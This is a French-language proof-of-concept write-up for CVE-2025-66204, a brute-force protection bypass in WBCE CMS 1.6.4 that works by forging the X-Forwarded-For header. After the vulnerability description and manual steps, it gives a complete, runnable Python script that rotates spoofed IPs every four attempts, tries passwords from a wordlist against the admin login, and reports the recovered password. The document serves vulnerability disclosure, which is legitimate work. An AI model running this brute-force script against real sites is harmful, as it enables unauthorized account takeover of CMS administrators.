
Preuve de concept pour CVE-2025-66204 : contournement de la protection contre la force brute dans WBCE CMS via un en-tête X-Forwarded-For falsifié, avec script d'exploitation automatisé en Python.
| Champ | Détails |
|---|
| ID CVE | CVE-2025-66204 |
| Gravité | MEDIUM |
| Avis de sécurité | Voir l'avis |
| Découvert par | Lukasz Rybak |
Un contournement de la protection anti-force brute existe dans WBCE CMS 1.6.4. Le mécanisme de limitation de connexion bloque une adresse IP après 5 tentatives de connexion invalides. Cependant, l'application fait entièrement confiance à l'en-tête X-Forwarded-For sans le valider ni en restreindre l'utilisation. En modifiant X-Forwarded-For à chaque requête, un attaquant peut réinitialiser le compteur indéfiniment et obtenir des tentatives de devinette de mot de passe illimitées, contournant ainsi efficacement toute la protection anti-force brute.
WBCE CMS détermine l'adresse IP du client à l'aide de la logique suivante :
Bien que WBCE ne soit pas exécuté derrière un proxy inverse par défaut, le point de terminaison de connexion analyse toujours X-Forwarded-For lorsqu'il est présent, même s'il est ajouté manuellement par le client.
Parce que l'application ne vérifie pas que la requête provient d'un proxy de confiance, un attaquant peut injecter son propre en-tête X-Forwarded-For avec n'importe quelle adresse IP arbitraire.
Cela entraîne :
Ce comportement est reproductible sur une installation propre et par défaut sans proxy inverse devant WBCE CMS.
Étapes
Tentez de vous connecter avec un mot de passe incorrect et envoyez l'en-tête :
X-Forwarded-For: 10.0.0.10
Répétez jusqu'au verrouillage (après 5 tentatives).

Changez l'en-tête en :
X-Forwarded-For: 10.0.0.11
Les tentatives de connexion sont réinitialisées et à nouveau autorisées.

Parcourez 10.0.0.x et forcez brutalement sans aucune limitation.
Script PoC automatisé
J'ai construit un script Python qui exécute l'attaque automatiquement, en faisant tourner des IP usurpées toutes les quatre tentatives et en détectant une connexion réussie.



Cela prouve le contournement complet de la protection.
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
Ce CVE a été divulgué de manière responsable conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici sont uniquement à des fins éducatives et défensives.